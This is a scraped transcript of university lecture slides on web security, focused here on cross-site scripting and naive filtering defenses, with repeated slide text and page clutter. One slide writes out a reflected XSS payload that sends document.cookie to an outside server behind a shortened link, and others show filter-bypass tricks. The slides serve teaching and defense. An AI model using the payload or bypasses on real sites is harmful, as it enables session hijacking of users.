eb security
play

eb Security Software Studio yslin@DataLAB 1 Common Security - PowerPoint PPT Presentation

eb Security Software Studio yslin@DataLAB 1 Common Security Risks Brute-Force Attacks SQL Injections Cross-Site Scripting (XSS) Cross-Site Request Forgery (CSRF) 2 Common Security Risks Brute-Force Attacks SQL


  1. 確定 http://somewebsite.com/showimage?id=<script>al… You are watching an image with id = meow 58

  2. Hi~ Hello~ A cute cat !! http://goo.gl/abcdef 59

  3. Hi~ Hello~ A cute cat !! http://goo.gl/abcdef http://somewebsite.com/showimage? id=<script>location.href=(“http://myserver.com/ somepage?cookie=" + document.cookie);</script> 59

  4. WTF x 2 60

  5. Cross-Site Scripting 61

  6. Cross site to retrieve sensitive data Cross-Site Scripting 61

  7. Cross site to retrieve sensitive data Cross-Site Scripting Using scripts to attack 61

  8. How To Defense ? 62

  9. 1. Filtering 63

  10. 1. Filtering Lots of filtering methods 63

  11. 1. Filtering Lots of filtering methods But, there are also lots of ways to bypass 63

  12. Filtering Method 1 Removing all <script> words 64

  13. Filtering Method 1 Removing all <script> words But using <SCRIPT> will be safe. 64

  14. Filtering Method 2 Replace all script 65

  15. Filtering Method 2 Replace all script But, <scscriptript> becomes <script> 65

  16. Learning Filtering Methods • Some practice websites • alert(1) to win • If you cannot see the page, try to replace ‘https’ with ‘http’ • prompt(1) to win 66

Recommend


More recommend